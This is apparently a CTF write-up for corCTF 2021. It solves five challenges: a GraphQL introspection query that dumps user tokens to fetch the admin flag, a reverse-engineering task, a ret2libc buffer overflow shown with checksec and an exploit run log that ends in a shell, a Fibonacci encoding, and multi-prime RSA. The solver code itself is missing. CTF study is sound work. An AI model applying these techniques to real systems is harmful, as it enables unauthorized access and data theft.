devme
an ex-google, ex-facebook tech lead recommended me this book!
No source code attached, so i try to test the feature one by one. After few second, i’ve found that the sign up (located at bottom home page) is sending graphql query into https://devme.be.ax/graphql. Since we know that graphql is provided of introspection query by default (cmiiw), we can use GraphiQL tools Here.
After inserting endpoint, check the documentation explorer for the query and mutation. In query section you will find out users and flag field. Lets check user first.
Request
query{
users{
token,
username
}
}
Response
{
"data": {
"users": [
{
"token": "3cd3a50e63b3cb0a69cfb7d9d4f0ebc1dc1b94143475535930fa3db6e687280b",
"username": "admin"
},
.......
Now lets use the token to retreive flag from user admin.
Request
query{
flag(token: "3cd3a50e63b3cb0a69cfb7d9d4f0ebc1dc1b94143475535930fa3db6e687280b")
}
Response
{
"data": {
"flag": "corctf{ex_g00g13_3x_fac3b00k_t3ch_l3ad_as_a_s3rvice}"
}
}
FLAG: corctf{ex_g00g13_3x_fac3b00k_t3ch_l3ad_as_a_s3rvice}
babyrev
well uh… this is what you get when you make your web guy make a rev chall
given 1 ELF binary file, lets open it on IDA.
main()
| |
From the code above, we know that the flag length is 28, start with corctf{ and end with }. The program create loop and check the iterator is prime or not using is_prime() function and if some condition are true our input will be passed into rot_n() function.
I very curious about the this code below, so i decided to debug it with gdb
| |
► 0x55555555558d <main+479> call strcmp@plt <strcmp@plt>
s1: 0x7fffffffdcf0 ◂— 0x444458524e4c4643 ('CFLNRXDD')
s2: 0x555555558010 (check) ◂— 'ujp?_oHy_lxiu_zx_uve'
We got encoded flag here, ujp?_oHy_lxiu_zx_uve. Now lets explore another function in IDA
rot_n()
| |
is_prime()
| |
At the first place, i dont know what the result of this loop at main()
| |
so i decided to create c source code that implement the code all above.
loop.c
| |
➜ babyrev git:(master) ✗ gcc loop.c -o loop -lm
➜ babyrev git:(master) ✗ ./loop
2 5 11 13 17 23 29 29 37 37 41 47 53 53 59 61 67 71 73 79
After knew what those loop does, i create python script to reverse the rot value.
solver.py
| |
➜ babyrev git:(master) ✗ python3 solve.py
see?_rEv_aint_so_bad
FLAG: corctf{see?_rEv_aint_so_bad}
Chainblock
I made a chain of blocks!
nc pwn.be.ax 5000
There are few files that we get, library, binary and source code of binary itself.
| |
As you can see above, this is a classic buffer overflow vulnerability because of using malicious function gets().
Now lets checksec the binary
➜ chainblock git:(master) ✗ checksec chainblock
[*] '/home/syahrul/Desktop/Writeups/corCTF_2021/pwn/chainblock/chainblock'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: './'
➜ chainblock git:(master) ✗ ldd chainblock
linux-vdso.so.1 (0x00007ffce2ffe000)
libc.so.6 => ./libc.so.6 (0x00007f765559d000)
./ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007f765578b000)
With minimal security mechanism in binary, we can do technique called ret2libc. The idea is, first we need to leak the base address and send one gadget payload into that binary.
solver.py
| |
➜ chainblock git:(master) ✗ python solver.py
[*] '/home/syahrul/Desktop/Writeups/corCTF_2021/pwn/chainblock/chainblock'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: './'
[*] '/home/syahrul/Desktop/Writeups/corCTF_2021/pwn/chainblock/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 14 cached gadgets for './chainblock'
[+] Opening connection to pwn.be.ax on port 5000: Done
[*] puts() at : 0x7efe685919d0
[*] libc base @ 0x7efe68511000
[*] Switching to interactive mode
___ ___ ___ ___
/\ \ /\__\ /\ \ ___ /\__\
/::\ \ /:/ / /::\ \ /\ \ /::| |
/:/\:\ \ /:/__/ /:/\:\ \ \:\ \ /:|:| |
/:/ \:\ \ /::\ \ ___ /::\~\:\ \ /::\__\ /:/|:| |__
/:/__/ \:\__\ /:/\:\ /\__\ /:/\:\ \:\__\ __/:/\/__/ /:/ |:| /\__\
\:\ \ \/__/ \/__\:\/:/ / \/__\:\/:/ / /\/:/ / \/__|:|/:/ /
\:\ \ \::/ / \::/ / \::/__/ |:/:/ /
\:\ \ /:/ / /:/ / \:\__\ |::/ /
\:\__\ /:/ / /:/ / \/__/ /:/ /
\/__/ \/__/ \/__/ \/__/
___ ___ ___ ___ ___
/\ \ /\__\ /\ \ /\ \ /\__\
/::\ \ /:/ / /::\ \ /::\ \ /:/ /
/:/\:\ \ /:/ / /:/\:\ \ /:/\:\ \ /:/__/
/::\~\:\__\ /:/ / /:/ \:\ \ /:/ \:\ \ /::\__\____
/:/\:\ \:|__| /:/__/ /:/__/ \:\__\ /:/__/ \:\__\ /:/\:::::\__\
\:\~\:\/:/ / \:\ \ \:\ \ /:/ / \:\ \ \/__/ \/_|:|~~|~
\:\ \::/ / \:\ \ \:\ /:/ / \:\ \ |:| |
\:\/:/ / \:\ \ \:\/:/ / \:\ \ |:| |
\::/__/ \:\__\ \::/ / \:\__\ |:| |
~~ \/__/ \/__/ \/__/ \|__|
----------------------------------------------------------------------------------
Welcome to Chainblock, the world's most advanced chain of blocks.
Chainblock is a unique company that combines cutting edge cloud
technologies with high tech AI powered machine learning models
to create a unique chain of blocks that learns by itself!
Chainblock is also a highly secure platform that is unhackable by design.
We use advanced technologies like NX bits and anti-hacking machine learning models
to ensure that your money is safe and will always be safe!
----------------------------------------------------------------------------------
For security reasons we require that you verify your identity.
Please enter your name: KYC failed, wrong identity!
$ cat flag.txt
corctf{mi11i0nt0k3n_1s_n0t_a_scam_r1ght}$
FLAG: corctf{mi11i0nt0k3n_1s_n0t_a_scam_r1ght}
Fibinary
Warmup your crypto skills with the superior number system!
Given 2 files, enc.py and flag.enc. From the name we know that the flag is encrypted using python script. So, lets look into enc.py and flag.enc
flag.enc
10000100100 10010000010 10010001010 10000100100 10010010010 10001000000 10100000000 10000100010 00101010000 10010010000 00101001010 10000101000 10000010010 00101010000 10010000000 10000101000 10000010010 10001000000 00101000100 10000100010 10010000100 00010101010 00101000100 00101000100 00101001010 10000101000 10100000100 00000100100
enc.py
| |
The interesting code is
| |
By looking at the piece above, we know that our flag is encrypted using c2f() per character. Therefore, we dont need to understanding what the c2f() function does. We just need brute force the flag by generating all ascii character and pass it into c2f() function. And then we can replace encrypted flag with our ascii value.
solver.py
| |
FLAG: corctf{b4s3d_4nd_f1bp!113d}
4096
I heard 4096 bit RSA is secure, so I encrypted the flag with it.
Given 2 files source.py and output.txt
output.txt
50630448182626893495464810670525602771527685838257974610483435332349728792396826591558947027657819590790590829841808151825744184405725893984330719835572507419517069974612006826542638447886105625739026433810851259760829112944769101557865474935245672310638931107468523492780934936765177674292815155262435831801499197874311121773797041186075024766460977392150443756520782067581277504082923534736776769428755807994035936082391356053079235986552374148782993815118221184577434597115748782910244569004818550079464590913826457003648367784164127206743005342001738754989548942975587267990706541155643222851974488533666334645686774107285018775831028090338485586011974337654011592698463713316522811656340001557779270632991105803230612916547576906583473846558419296181503108603192226769399675726201078322763163049259981181392937623116600712403297821389573627700886912737873588300406211047759637045071918185425658854059386338495534747471846997768166929630988406668430381834420429162324755162023168406793544828390933856260762963763336528787421503582319435368755435181752783296341241853932276334886271511786779019664786845658323166852266264286516275919963650402345264649287569303300048733672208950281055894539145902913252578285197293
15640629897212089539145769625632189125456455778939633021487666539864477884226491831177051620671080345905237001384943044362508550274499601386018436774667054082051013986880044122234840762034425906802733285008515019104201964058459074727958015931524254616901569333808897189148422139163755426336008738228206905929505993240834181441728434782721945966055987934053102520300610949003828413057299830995512963516437591775582556040505553674525293788223483574494286570201177694289787659662521910225641898762643794474678297891552856073420478752076393386273627970575228665003851968484998550564390747988844710818619836079384152470450659391941581654509659766292902961171668168368723759124230712832393447719252348647172524453163783833358048230752476923663730556409340711188698221222770394308685941050292404627088273158846156984693358388590950279445736394513497524120008211955634017212917792675498853686681402944487402749561864649175474956913910853930952329280207751998559039169086898605565528308806524495500398924972480453453358088625940892246551961178561037313833306804342494449584581485895266308393917067830433039476096285467849735814999851855709235986958845331235439845410800486470278105793922000390078444089105955677711315740050638
source.py
| |
From the code above, we know that this is classic RSA task. And the first line of output.txt is n and the second line is c. After doing some google search, i’ve found that this is multi prime RSA task and ive found solver script as well in Here. We just need to find the factor n using sage from valorant sagemath
| |
then copy the list of factor into solver script.
solver.py
| |
FLAG: corctf{to0_m4ny_pr1m3s55_63aeea37a6b3b22f}